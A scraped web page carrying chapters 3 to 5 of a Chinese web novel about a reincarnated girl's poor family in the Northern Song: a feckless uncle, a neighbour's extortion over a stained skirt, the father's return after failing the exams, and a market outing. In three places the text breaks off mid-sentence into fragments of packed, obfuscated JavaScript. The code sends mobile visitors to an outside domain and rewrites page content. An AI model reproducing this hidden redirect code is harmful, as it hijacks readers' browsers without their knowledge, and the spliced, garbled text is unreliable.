《北宋小户女奋斗日常》 3. 第 3 章 李大官人 奶奶再也忍不住，猛地一拍桌子，指着唐守礼的鼻子骂道：“你给我住口。你还有脸提秀才，当初你爹娘也送你去了县学，你用心学了没有？！留给你的三十亩上好的水田，够你活几辈子了，全让你这败家子填了赌窟窿，一文钱都没剩下。 如今倒好，正是青黄不接的时候，你不想着帮衬一把，倒有脸来打秋风？咳咳咳……” 剧烈的咳嗽再次打断了她的话，爷爷连忙上前给她拍背顺气，看向唐守礼的眼神，充满了痛心和彻底的失望。 唐守礼被当众揭了老底，尤其在琴娘面前，脸上顿时挂不住了，一阵红一阵白地梗着脖子反驳：“那都是过去的事了，老提它干嘛。我现在不是改了吗？我就想借点米……” 奶奶咳得眼泪都出来了，喘着粗气，恨铁不成钢地说：“你但凡有点骨气，就该踏踏实实找个营生，你倒好，整天游手好闲，东游西荡，跟些不三不四的人混在一起，整个唐家的脸都让你丢尽了。你爹娘在天之灵要是知道，棺材板都压不住！” 琴娘在一旁冷眼旁观，脸上没有任何表情，只是眼神里的鄙夷和厌弃更浓了。 唐守礼被奶奶骂得哑口无言，又被琴娘眼神刺得浑身不自在。他意识到，在这里，他不仅借不到米，连最后一点脸皮都被撕得干干净净。 一股邪火和怨气直冲脑门。他猛地一甩袖子，指着溪娘，声音尖利地嚷道：“好，好！秀才娘子了不起，一升米都舍不得。行，算你们狠，小气忒小气，秀才家也这么抠门，活该考不上！” 他恶毒地将矛头指向了刚刚落榜的二哥，仿佛这样能让他扳回一城，发泄心中的怨愤。 “你混账！”爷爷气得浑身发抖，抄起手边的笤帚就要打过去。 唐守礼见势不妙，顾不上什么体面，转身狼狈地窜出了门，那件破旧的长衫下摆，在门槛上绊了一下，差点摔个狗啃泥，引来大娘毫不掩饰的嗤笑。 唐守礼的身影消失在门外，那令人作呕的口哨声再次响起，只是这次显得格外气急败坏和虚张声势。 屋内再次陷入一片死寂，比之前更加沉重，更加令人窒息。空气中还残留着唐守礼带来的无赖气息和那句恶毒的“活该考不上”。 奶奶气得直抹眼泪，爷爷握着笤帚的手还在颤抖，颓然地坐回椅子上。溪娘扶着桌沿，脸色苍白得吓人，腹部传来一阵不适的紧绷感。 唐照环的心像是被浸在了冰水里，又冷又沉。爹爹落榜的打击还未消化，三叔这无耻的闹剧和那句恶毒的诅咒，如同在伤口上又狠狠撒了一把盐。 阎王许诺的太平盛世，地主之家，亲戚齐心奔小康，此刻听起来像个天大的讽刺笑话。 琴娘看着这一地鸡毛，也失去了再待下去的兴趣。她站起身，脸上最后一点敷衍的温和也消失了：“叔公叔婆，溪嫂嫂，我先回去了。方才说的话，你们多想想吧。” 她让唐父重振旗鼓再考的话，此刻听起来，显得那么的遥远和不切实际。 溪娘强打起精神，轻轻推了推唐照环的胳膊：“环儿，醒醒神，琴姨母要走了，我们得去送送。” 唐照环像个提线木偶般被娘亲拉起来，脚步虚浮地跟着众人，把琴娘送到前院停着的小轿旁。 琴娘临上轿前，又对着溪娘和爷爷奶奶说了几句场面话，脸上也难掩失落之色。 唐照环连琴娘的轿子走了都不知道。她惊恐地想，爷爷年纪大了，万一身体扛不住，不能再管田庄，主家给的份额会不会减少？爹爹那时候也年过三十了，科举无望，心气会不会磨平？只能在县学里挂个名，当个清贫的教书先生，拿着微薄的束脩。 那他还会继续考吗？弟弟将来怎么办？只靠县学那点基础和爹爹闲暇时的随意指点，岂不是一辈子当个平头布衣的命？！ 这个可怕的连锁推演，让她不寒而栗。 送完琴姐，一家人沉默地回到堂屋，无言地对坐。唐照环觉得大娘铁青的脸色更黑了几分。 县里另一家富户，以为爹爹这次能中举，已经事先接触过大娘，在相看虚岁十四的琼姐了，如今爹爹落榜的消息传开，这门原本可能攀上的亲事怕是要悬了。怪不得大娘此刻的不悦和怨气，简直要化为实质。 眼见众人都没有说话和吃饭的兴致，奶奶干脆让散了，回屋早点安歇。 溪娘挺着肚子，疲惫地靠在床边，眼神空洞地望着油灯如豆的火苗，也没心思再管女儿。唐照环默默地爬上自己的小床，没有脱衣，只是掀起那床半旧的，带着皂角清香的薄棉被，一股脑儿地蒙住了头脸，将自己与这个冰冷而残酷的现实世界暂时隔绝开来。 被窝里一片黑暗，紧绷了一天的神经终于松懈下来，巨大的失望，对未来的恐慌以及身体积累的疲惫如潮水般涌来。 阎王你个大骗子。 她在心里恨恨地骂了一句，眼泪无声地浸湿了被角。然而，身体的疲惫终究战胜了精神的煎熬，没一会儿，沉重的眼皮再也支撑不住，蜷缩在被子下沉沉睡去。 三月的天，亮得一日早过一日。 唐照环睫毛颤了颤，睁开眼。屋内尚有些昏暗，窗外的天色已蒙蒙亮。 她下意识伸手往身边探去，触手一片空凉。溪娘素来起得早，此刻床边已空空如也。 心里再怎么难受，该干得活也得干。 她一个骨碌爬起来，快速抓起枕边放着，缀满补丁的粗布衣裳套上，趿拉上娘亲亲手纳的千层底布鞋，踢踢踏踏出了房门。 厨房门边放着半人高的竹筒，沉甸甸的，里面是拌好的谷糠麸皮。 她深吸一口气，走过去，弯下腰，用还没抽条，像藕节般圆润白嫩的手臂环抱住竹筒，憋着劲儿使劲一提。她小脸微红，抱着竹筒，迈着小碎步，略显笨拙地挪向后院的鸡舍。 她费力地拉开笼门，用水瓢挖了一大瓢鸡食，哗啦一下撒在笼前铺着干草的泥地上。趁母鸡出笼，她熟练地猫腰钻进鸡笼，小手在角落的草窝里摸索，摸出几个尚带余温的鸡蛋。 接着谨慎地将鸡蛋拢在怀里，先送回厨房，踮起脚尖，将它们放进高处铺着厚厚干草的篮子中，再码放整齐。 最后把空了的竹筒拿到井边冲洗干净放回原处。 溪娘瞧见女儿，便伸手：“环儿，来，跟娘去请爷奶起身用饭。” 唐照环自打有记忆起，就住在这座二进的院子里。虽不宽敞，却处处透着生活的气息。 爷奶住在坐北朝南三间主屋的东侧，寡居的大娘带着琼姐住西厢，连带西头一间做厨房。自己和爹娘则住在东边的两间厢房。院子中央是一棵老槐树，虬枝盘曲，浓荫如盖，粗壮的枝条下还挂着爹爹亲手扎的简易秋千，是姐妹俩平日的乐园。 前院则种着一棵刚长成的枣树，那是爹爹和娘亲成亲那天种下的，如今枝桠已有些模样。枣树左边是李妈妈和张大爷每年年根，跟着爷奶回来结算时借住的屋子，门口挂着李妈妈惯常喜欢的靛蓝色粗布门帘。右边是柴房，门虚掩着，能看见里面码得整整齐齐的柴火垛。 溪娘走到主屋门前，理了理鬓角，这才抬手，用不大不小的力道叩了叩门：“爹？娘？” “起来了。”屋里很快传来奶奶中气十足的回应。 溪娘曾私下里跟唐照环提过，按常理，儿媳妇该伺候公婆穿衣起身。可爷奶都是勤快惯了的性子，手脚麻利，从打最先进门的大娘起就没让儿媳妇动过手，到了溪娘这里，自然也依老规矩。 没一会儿，门吱呀一声开了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093143|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 奶奶已坐在堂屋正中的大椅上，爷爷正弯腰系绑腿。 前天晚上老两口原本打算昨天吃完早饭就回田庄，毕竟庄子里离不开人。但耐不住溪娘再三恳求，说二郎明日怎么也该到家了，总得见上一面，这才决定多留两日。 两个儿媳妇和两个孙女很快将热腾腾的饭菜端上主屋大桌。 桌子依旧满满当当，只是那盘专门为喜日子准备的炒鸡蛋不见了踪影。唐照环的目光扫过桌面，心里默默叹了口气。 用过早饭，主家临时说来了贵客，人手不足，让爷爷去帮忙。 剩下的五个女人搬了小凳，聚在院子东墙根那片被槐树荫遮蔽的阴凉地里。溪娘手里拿着针线，给未出世的孩子缝制小衣，奶奶和琼姐拨着青豆，大娘纳着鞋底，唐照环则拿一把蒲扇，驱赶偶尔飞来的小虫。 有一搭没一搭的闲聊自然围绕着东家长西家短展开。唐照环两辈子对这些都没什么兴趣，心思早飘远了，只留一只耳朵进一只耳朵出地听着。 忽然“生病”两个字飘进了她的耳朵，唐照环一个激灵回过神来，专心听大娘眉飞色舞地讲述。 “这李大官人家啊，可真是邪门了。好好的天，不打雷不下雨的，他家老娘和娘子前后脚都病倒了。请了好几个有名的大夫，诊金花得流水似的，灌下去的药汤子怕有几大缸，愣是不管事。” “哎呦！”奶奶手里的豆子差点掉地上，“莫不是什么传人的症候？你可谨慎着点，别往他家跟前凑，也别收他家的东西。” 经历过瘟疫的人，对此格外敏感。 “不传人，不传人，就这两个。”大娘连连摆手，“家里上上下下，老爷少爷，丫鬟仆妇，都好好的没事。你说怪不怪？” “现在怎么样了?”溪娘也忍不住停下针线，关切地问。 大娘撇撇嘴：“听去过的大夫私下嘀咕，能熬过这几天就好了，要是熬不过啊……端午前就得办七七。” “哎，这日子过的也真糟心。”奶奶长长叹了口气。 “我看啊，人家高兴还来不及呢。这俗话说，男人过了三十，就盼着升官发财死老婆。要是这次两个都一口气没了，李大官人肯定趁热孝，马上娶个如花似玉的二老婆。”大娘说到这，眼睛都亮了些，“这二老婆嫁过去又没有了正经婆婆在上头压着，只要把老爷伺候舒坦了，那日子，啧啧，自在着呢。” 看你那副羡慕的样子，不会是自己想嫁过去吧？唐照环腹诽，小嘴不受控制地溜出一句：“大娘到时候可以试试嘛。” “去去去，小孩子家家的懂什么，人家哪能看得上我。”大娘脸上的表情瞬间僵住，随即浮上一层恼羞的红晕，没好气地摆手，“人家要的是水葱似的黄花闺女，我凑什么热闹。 要我说啊，小姑娘与其嫁给他家那个眼高于顶的儿子，还不如直接嫁李大官人呢。二婚头不用准备那么多嫁妆，过去就是当家奶奶，穿金戴银，呼奴使婢，那才叫享福。” 唐照环心里咯噔一下，升起不好的预感，若真有机会，大娘不会想把琼姐嫁过去吧，李大官人可比大娘的年纪还要大上好几岁呢。 “哎呦，快住口。”奶奶脸色变了，手里的簸箕重重往地上一放，“你这说的是什么话，这不是卖女儿嘛。哪个当爹娘的能狠下这心肠，造孽啊。” 唐照环深以为然地用力点头，没有忽略大娘脸上飘过的一丝愠色。 大娘也注意到了唐照环的目光，不敢朝奶奶发火，便把这股邪火全撒在了唐照环身上，狠狠剜了她一眼。 这种小事自然影响不了唐照环的心情，她眼皮一撩，目光轻飘飘地滑过，若无其事地转头看向院角的槐树，完美地将那不善的视线挡了回去，只留大娘自己憋一肚子气。 4.第 4 章 孙大娘 稍晚些爷爷回来了，众人见此，纷纷忙起来，为晚饭做准备，唐照环蹲在灶房门口，帮溪娘择着刚从后面菜地里拔出来的小葱。 前院院门被人猛地推开。 一个高大壮硕的妇人闯了进来，脸上燃烧怒火，手里高举一件揉成一团的藕荷色物事，气势汹汹直奔灶房而来。 她住在唐照环家隔壁，姓孙，人称孙大娘。她男人钱贵在县衙大牢里当牢头，是个能让人腿肚子打颤的人物。孙大娘平日里就仗着男人的势，在左邻右舍间横行霸道。 “溪娘子，看你干的好事。” 她庞大的身躯堵住整个门框，吊梢眼扫视屋内众人，最终狠狠钉在溪娘身上。 溪娘疑惑不安地起身：“孙嫂子，您这是？” “少跟我装傻充愣，这就是你干的活儿。” 孙大娘一口唾沫啐到地上，将手里的物事狠狠抖开。 那是件缎子裙，靠近下摆处确实有一个用同色丝线精心缝补好的小口子，针脚细密整齐，几乎看不出痕迹。 在这块补丁上方几寸的地方，赫然印着块刺眼的深褐污渍。 “我好心好意才把这活计交给你，想着让你赚几个钱贴补家用。” 孙大娘唾沫横飞，“你倒好，不仅补得歪歪扭扭，还给我弄上这么大一块洗不掉的污糟。这可是我走亲戚才舍得穿的好裙子，你说怎么办？” 溪娘的脸色瞬间白了。她记得清清楚楚，自己修补时万分当心，补完还仔细检查过，裙面绝对干干净净。 她急忙辩解：“孙嫂子，这可不是我弄脏的。” “不是你，难道我自己吃饱了撑的往新裙子上抹脏东西？分明就是你手脚不干净。或者是你家这破地方脏，耗子爬过沾了脏东西。” 孙大娘叉腰，“老娘今儿个把话撂这儿，要么赔我五贯钱，要么赔我一条一模一样的新裙子，否则，我就让我家那口子跟你们好好说道说道。” “五贯？” 溪娘倒抽一口凉气，身形晃了晃，险些站不稳。 大娘忍不住阴阳怪气了句：“好大的威风，你这裙子是金子打的还是银子镶的？当我们冤大头呢。谁知道是不是你自己在外面不小心弄脏了，跑来讹人。” “你闭嘴！”奶奶厉声呵斥大娘，眼神前所未有的严肃。 大娘被奶奶的厉色吓了一跳，悻悻地闭上嘴。 奶奶放缓语气：“娘子先缓缓气，灶房里乱糟糟的，恐脏了您的身子，咱们去主屋说。” 孙大娘叉着腰，趾高气扬地进了主屋，一屁股坐在最中间的椅子上。 爷奶陪着笑，站她面前。 一个身影从溪娘身后钻了出来，是唐照环。 她刚才一直盯着那条裙子，属于现代人的思维在飞速运转。那污渍的颜色和形态，让一个念头电光火石般闪过。她记得穿越前看过的古法生活小窍门，其中就有处理类似污渍的方法。 唐照环用属于十岁小女孩那种怯生生又好奇的眼神看向孙大娘：“孙伯娘，能看看裙子吗？” 孙大娘很是不耐烦：“去去去，小丫头片子捣什么乱。跟你娘一个样，晦气。” 唐照环没理会，继续往下说：“这污渍像是……像是肉汁混了灯油？” 孙大娘脸上闪过心虚，随即用更凶悍的表情掩盖：“放屁。老娘裙子怎么会沾那玩意儿，少胡说八道。” 唐照环心里冷笑，这妇人反应这么大，此地无银三百两。 更何况，这污渍的位置很蹊跷。如果是缝补时弄脏的，污渍应该在补丁附近或缝线处，而不是隔着一段距离。 唐照环不理她的呵斥：“我听人说，这种污渍用点醋，或者碱水揉一揉就能去掉呢。” 孙大娘嗤笑道：“说的轻巧，弄坏了怎么办，卖了你都不够赔。” “让她试试。” 一直沉默的爷爷开口，“钱贵家的，环儿一个小孩子，话都说到这份上了，让她试试又何妨？若真洗不掉，我们认赔。” 孙大娘冷哼一声，把裙子往唐照环面前一扔：“行，老娘倒要看看你能玩出什么花样。洗不掉，五贯，一个子儿都不能少。” 唐照环捡起裙子放桌子上，然后跑进厨房，掏了一大把灶膛里的草木灰，再撒了点发面的碱面，一起用水泡化，端着碗回到主屋。 她先用手指蘸了水，轻轻点在污渍边缘不起眼的地方，观察布料是否褪色。确认无误后，她才用布角在碗里沾湿，聚精会神地对着那块深褐色的污渍中心，由外向内，力道均匀地轻轻打圈揉搓。 所有人的心都提到了嗓子眼。溪娘紧张地捂着肚子，奶爷屏住了呼吸，连一脸刻薄的大娘都暂时忘记了幸灾乐祸，伸长了脖子看着。孙大娘则抱着胳膊，一脸等着看好戏的神情。 奇迹发生了。原本顽固的深褐色污渍，颜色竟真的开始变淡。 唐照环不慌不忙，又换了一块干净的软布，沾上清水，将揉搓过的地方轻轻拍打清洗。深褐色的污渍随水流被带走，布面渐渐恢复了原本的颜色。 孙大娘一把抢过裙子，凑到屋外对着光一根根看，脸上写满了惊讶。 唐照环补刀：“孙伯娘您也知道，我家穷，平日吃不起肉，这肯定不是我娘弄的。” 奶奶对着脸色铁青的孙大娘，脸上堆起讨好的笑容，恭谨地说：“这裙子环儿侥幸给您弄干净了，修补的活儿，溪娘也尽了心，针脚都在。工钱我们不要了，权当给贵娘子虚惊一场赔个不是。您大人有大量，千万别跟我们一般见识。” 孙大娘见奶奶姿态卑微，又见裙子被弄得干净，胸中恶气虽然未消，却也找不到继续发难的由头。 “算你们走运，晦气。”她恶狠狠地瞪了众人一眼，然后如同来时一样，气冲冲地扭着壮硕的腰身摔门而去。 小院重新恢复了安静，气氛比她来之前更加沉重和压抑。 大娘犹自愤愤不平，对着孙大娘消失的方向啐了一口：“呸，什么东西，一个牢头家的泼妇而已。” “钱贵虽然只是个不入流的牢头，可他是是衙门里的人，想捏死我们这样的平头百姓，比捏死只蚂蚁还容易。今天要不是环儿机灵……” 奶奶的声音哽住了，后面的话再也说不下去，只剩下满眼的悲凉和后怕。 最后一束夕阳的余晖染红了小院，将槐树的影子拉得老长。 大娘被奶奶的话哽住，她心知奶奶说的是实话，所以心头更难受得要命，憋了一肚子气，饭也吃不下了。 她索性进了灶房，随手抓了两个冷冰冰的粗粮窝窝头，塞进琼姐手里，径直回屋，砰一下狠狠关上了门。 奶奶见她如此不敬的举动，正想发火，爷爷拉住了她的手，对她摇了摇头，把她往主屋里拽：“别跟老大家的太计较，她孤儿寡母的不容易，难免心有邪火，让她发出来顺顺心。” 片刻之间，刚才还满满当当的小院，只剩下溪娘和唐照环两人。 溪娘默默不语，把灶上摊着的家伙什一一收好，让唐照环小心把火灭了。 在这令人难耐的沉默里，院门被人敲响，温和也带着浓浓倦意的男子声音响起：“我回来了，开门。” “爹爹回来了。”唐照环顾不得拍掉手上的碎灰，蹦了起来，三步并作两步冲向院门。 溪娘也急忙放下手中的活计，扶着腰站起身，眼含期盼。 院门吱呀一声被推开，一个清瘦的身影立在暮色中。来人身姿颀长，肩背略显单薄，风尘仆仆，出门前新做的青衫在身上随风晃荡，手里提着一个简陋的藤编书箱，箱角磨损得厉害。 来人正是赶考归来的唐守仁，唐照环的爹。他面容清癯，眉目如画，虽满面风尘，却掩不住那股子书卷气。只是眼下一片青黑，显是连日奔波劳累所致。 “爹爹。”唐照环扑了上去，一把抱住了他的腰。 “几天没见，环儿又长高了。”唐守仁低头摸了摸女儿的发顶。 溪娘快步走来，眼中含着泪光：“相公。” 唐守仁对溪娘深深一揖：“娘子辛苦了。” 爷奶闻声，也打开门从主屋走出。 “拜见爹娘。”唐守仁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097422|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音有些哽咽。 不等他说完，奶奶已经快步上前，一把抓住他的手上下打量：“瘦了，瘦了好多，路上可还平安？” 唐守仁没有立即回答，将书箱轻轻放在地上，在所有人反应过来之前，撩起长衫前摆，直挺挺跪了下去：“儿子无用，寒窗十数载，耗尽家中钱粮，却名落孙山，未能金榜题名，光耀门楣。” 奶奶心疼得立刻上前扶他：“傻孩子，快起来。” “儿子愧对二老的养育之恩，愧对列祖列宗。”唐守仁没动，声音越来越低，头也垂得更低了。 爷爷见状，二话不说，直接架起他的胳膊，把他强行往主屋椅子里一放：“男子汉大丈夫，跪什么跪，考不上就考不上，有什么大不了的。琴娘那丫头都说了，今年咱们州一百多号人去考，一个都没中，说明题是真难。” 奶奶拍打他身上的尘土，声音哽咽：“爹娘供你读书，是盼着你好，盼你有出息，不是指着你非得当大官。你这些年用功读书，爹娘都看在眼里。这次，这次没中，那是老天爷还没开眼。” 爷爷接口道：“是啊，一次没中不打紧。你还年轻，身子骨熬得住。歇息几天，缓缓精神，再回县学好好温书就是。三年后，咱再考。” 溪娘也走上前，默默站在丈夫身边，无声传递力量。 奶奶点头：“听你爹的，你打算接下来咋办？” 唐守仁深吸一口气，努力平复翻涌的情绪：“儿子准备明日便去县学。” 奶奶和爷爷对视一眼，都从对方眼中看到了心疼和无奈。 奶奶叹道：“也好，你回来了，我和你爹也能放心回庄子了。那边离不得人，主家的事耽误不得。老张头和李妈妈明儿个一早套好车，我们就走。” “爹娘……”唐守仁闻言，眼中愧色更浓。 “行了，不说这些了。”爷爷摆摆手，“赶了几天路，饿坏了吧？快让溪娘给你弄点吃的。” 溪娘连忙扶腰向外走：“环儿，帮娘生火。” 唐照环跑去灶房，麻利地引燃了灶膛里的柴火。溪娘则打开锁着的柜子，从最里面轻手轻脚地捧出一个粗布袋。解开袋口，露出里面雪白细腻的面粉。 这可是家里压箱底的好东西，过年都舍不得多吃。 溪娘轻柔地舀出小半碗面粉，和面，揉面，擀开，再用刀切成细长均匀的面条，下进滚水里。 很快，一海碗热气腾腾的白面条被端到了唐守仁面前，飘着油星和葱花，还卧着个水煮荷包蛋。 “何必，家里也不宽裕。”唐守仁看着这碗面，喉头又是一哽。他深知家中境况，白面太奢侈了。 “快吃吧。”溪娘把筷子塞到他手里，“一路风餐露宿，考试又费心神，人都瘦脱形了。再省也用不着省你这一口吃的，没到那份上。” 唐守仁还要推辞，唐照环已经爬到他膝头，掰手指细数：“爹，娘说得对。您看，从汴京回来要走五天，一天两顿饭，您至少十顿没吃好了。” 唐守仁看着妻女充满关切的眼睛，心中酸涩难言。 他不再推辞，低下头，拿起筷子，默默吃完了承载家人全部心意的白面条。滚烫的面汤暖了胃，也暖了他那颗被失意冻僵的心。 饭后，溪娘又忙去烧热水，唐照环帮把家里最大的木澡盆搬到厨房角落。 溪娘兑好温水，试了试温度，对唐守仁道：“热水备好了，去好好洗洗一身的尘土，解解乏。” 唐守仁眼中水光闪动，最终化作一声感激：“有劳娘子和环儿了。” 他褪下那身沾满尘土和汗渍的青衫，露出清瘦挺拔的身形。长期的案牍劳形让他显得有些单薄，但骨架匀称，肩宽腰窄，浸入温热的水中时，他舒服地喟叹了一声，仿佛卸下了千斤重担。 唐照环瞧见爹爹腰间一道深紫色的勒痕，想是路上为省钱，连车都不舍得雇，硬用肩膀扛着书箱走回来的。 溪娘见状也是一愣，随即背过身去抹眼睛，不忘把唐照环赶了出去，让她早点回自己小床上睡。 5.第 5 章 赶集 话说，很快又到了永定县每月逢二和逢八的市集，唐照环家日子过得紧巴，若非需要添置些实在的大件儿，轻易不去赶那热闹。 可溪娘瞧家里近来闷得慌，心疼相公唐守仁整日埋头苦读，便提议这次全家一起去赶集，顺道去城外山寺上炷香，散散心。 没想到，连往日总推说家里离不得人，支支吾吾不愿动弹的大娘，竟也破天荒地点头同意了。 唐照环心里乐开了花，开心得一晚上翻来覆去没睡踏实，天刚蒙蒙亮，爹娘还没醒，她就一骨碌爬了起来，蹑手蹑脚地穿好衣裳。掀开门帘，正巧看见对面琼姐也轻手轻脚地关上门出来。 唐照环跑过去，拉住琼姐的手：“走，咱俩先去把活干了。早点干完就能早点出门啦，你也是这么想的，对不对？” 琼姐抿着嘴羞涩地笑了笑，细声应道：“嗯。” 两人心里揣着事，手脚都比平日麻利了许多。喂鸡，洒扫院子和起灶火，平日里要磨蹭小半个时辰的活儿，今天竟飞快地做完了。等大人们陆续起身时，她俩已经把灶火烧旺，锅里煮上稀粥了。 离早饭还有点时间，两人便在后院聊起这次定要看的热闹。 清晨一缕金黄的阳光穿过院墙边的老槐树枝叶，打在琼姐的脸上。唐照环发现，自己这位堂姐，竟是个不折不扣的美人胚子。柳叶眉弯弯，杏仁眼水润，身量还未长开，已有了纤细的骨架和修长的四肢。 爷奶私下曾感叹，琼姐跟琴娘没差几年，琴娘周身大家闺秀的气度，琼姐却被大娘养得畏畏缩缩。可唐照环看来，琼姐更有一股子惹人怜爱的风情。 “姐姐，你要是好好打扮一下，一定特别好看。”唐照环真心实意地说，“我知道一种扎绢花的法子，这次去集上，咱们找找有没有便宜的碎布头卖，买点回来，我教你扎。” 琼姐低头在腰间的小荷包里摸索了一会儿，掏出几个磨得发亮的铜板，塞给唐照环：“买布总要花钱的，我这里还有几个铜版，给你拿着。” “这怎么可以。”唐照环的头摇得像拨浪鼓，连忙把铜板推回去，“我的零花钱够用，不用你出。” “这不太好吧……”琼姐无措地捏着铜板。 唐照环叉着腰，一副小大人模样：“就这么定了。姐姐不必多礼，听我的就是。” 看到唐照环的态度坚决，琼姐这才红着脸，把铜板一个个地收回荷包，细声道：“好，听妹妹的。” 吃过早饭收拾停当，一家人出了门。走了不消半个时辰，喧闹的人声扑面而来，集市到了。 大娘停下脚步，对溪娘道：“你们先逛着，我跟琼儿自己走，晌午后在寺院山门碰头吧。” 溪娘心知大娘定是要拿琼姐和自己做的女红去换些私房钱，加上大娘性子泼辣吃不了亏，便笑着应下：“好，大嫂你们当心些。” 她们来得早，集市上的各家店刚刚开门迎客。茶馆和客栈的小二精神头十足，一边吆喝一边擦着锃亮的桌子板凳。卖杂货的店铺把货物在临街的柜台上码放得整整齐齐，掌柜的还得时不时探头出来，呵斥那些摆摊的小贩别挡了自家的招牌。小摊贩们更是使尽浑身解数，推着车挑着担子左右腾挪，争抢人流多的好位置，一旦占住便像生了根，怎么说也不肯挪窝。 一时间，吆喝声、讨价还价声、被挤到的叫骂声、扁担箩筐的碰撞声……各种声响混杂在一起，嗡嗡地灌满耳朵。 唐照环兴奋极了，像条滑溜的小鱼在人群里钻来钻去。这边摸摸新奇的竹编小玩意儿，那边嗅嗅刚出炉的芝麻烧饼，也不理摊主不买别乱动的白眼。 她兜里有平日积攒下来的几个铜板当零花钱，不过她还牢记得早上跟琼姐约好的事情，便强忍着什么也没买，专等着下午晚些时候去布料店，捡别的客人裁布后剩下的布头，便宜买一包回去。 看看日头，差不多该去寺院了。三人向城外山寺走去，与大娘琼姐汇合。 这小县城外的寺院规模不大，算不得什么名刹古寺，但因主持是从洛阳白马寺来的高僧，听说佛法精深，因此香火倒也旺盛，前来祈福还愿的善男信女络绎不绝。 上完香，从后殿转出来，唐照环眼疾手快地拉住琼姐，凑到她耳边，压低了声音，带着点狡黠的笑意问道：“姐姐，方才看你跪在那儿，嘴里念念有词的，许了什么好愿望呀？” 琼姐的脸颊一下红透了，眼神躲闪：“没，没什么……” 唐照环看着她那副羞得恨不得钻进地缝的模样，前世积累的看人经验瞬间上线。 这小妮子，心里绝对有事儿。 “难道说，少女怀春了？”唐照环打趣道。 “没有，妹妹不要再问啦。”琼姐羞赧地扭过头去，“娘亲和婶婶她们听到了会误会的。” “好吧好吧，不问了就是。”唐照环见好就收，一脸我知道你在想什么的坏笑。 离开寺院山门，天色尚早。唐守礼看着妻女，温言提议道：“难得今日一家子都出来了，不如就在外面用过晚饭再回去，也省得回去还要生火。” “好啊。”大娘点头道。 大家便寻了一处干净的小食摊坐下。爷奶不在，两房的花销自然由溪娘一并付了，唐守仁给各人各点了碗汤饼。 外面食摊做的汤饼，汤头浓郁，撒了葱花芫荽，还飘着几点油星，味道自然比家里清汤寡水的强多了。唐照环吃得小嘴油汪汪，把碗里的汤饼捞了个底朝天，连汤都喝得一滴不剩。 她刚放下碗，就闻见一股浓郁的甜香。定睛一看，大娘正从自己的荷包里掏出铜板，从一个挎着篮子叫卖的小贩那里买下了两个油亮亮的大号糖面果子，跟琼姐两个人热乎乎地吃着。 浓郁的糖香味飘到鼻子前，唐照环不由自主地咽了口口水，可怜兮兮地转头，用渴望的眼神看向溪娘。 “给孩子馋的，正好我也想吃，来三个?”唐守仁悄悄对溪娘说。 溪娘面露难色，压低声音：“买一个吧，你掰开分点给环儿尝尝味儿就好了。” “娘子近来操持家务辛苦，也该吃点好的甜甜嘴，还是一人一个过瘾。” 溪娘为难道：“别忘了要买盐，还有给你练字的纸。县学虽刚开，笔墨纸砚总是省不了的。” 唐守仁摆摆手：“无妨，这几日功课不多，我用沙盘和水写布练练也是一样的，纸少买两张便是。” 溪娘犹豫片刻，终究不忍拂了丈夫和女儿的心意：“那买两个吧，环儿人小吃不完一整个，我同她分一个。” 唐守仁笑着点头，招手叫来那小贩，利落地付钱买了两个，三人分了分。唐照环捧着自己的半块，小口小口珍惜地咬干净，感觉幸福得冒泡。 “大嫂，等会儿准备去什么地方?”吃完饭，溪娘客气地问道。 大娘似是下了什么决心，脸色阴沉下来，硬邦邦道：“布料店。” 溪娘有些意外，她本以为见面前她们母女已经单独去过了：“好的，正好我也要去，一起走吧。” 女人们进了布料店，就像鱼儿入了水。尽管囊中羞涩，买不起那整匹光鲜亮丽的绸缎，但眼睛却像黏在了那一垛垛摆放整齐，花色各异的布料上，怎么也挪不开。 唐守仁吩咐道：“你们慢慢逛，我去前面的书坊转转。” “唐家两位娘子来啦？这次又有新绣品要出手？”店小二是个伶俐的，一眼认出溪娘和大娘，热情地招呼道，眼睛在她们和柜台上的布料间来回逡巡。 溪娘笑着从怀里掏出一个小布包，打开递给小二：“这是近日我们绣的花片，还请您看下，给个好价。” “没问题。”小二接过花片，熟练地展开，对光专注地看了看走线和配色，又摸了摸料子，嘴里啧啧称赞，“两位的花片在咱们县里可是出了名的好，一个花样设计清雅有韵味，一个绣工扎实针脚密实，这样的好货色，绝对不容错过。这片是琼小娘子绣的吧？尽得大娘子真传啊。” 唐照环没太在意他们的讨价还价，正盯着柜台上摆放的一方丝帕，若有所思。自己之前幻想爹爹中举之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102569|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，求娘亲给自己绣手帕的料子就是这个，可惜现在爹爹还是个白身，不但买不起，按照律令，全家也不能用丝绸的东西，真是造化弄人。 正想着，眼前的丝帕被小二拿在手里。 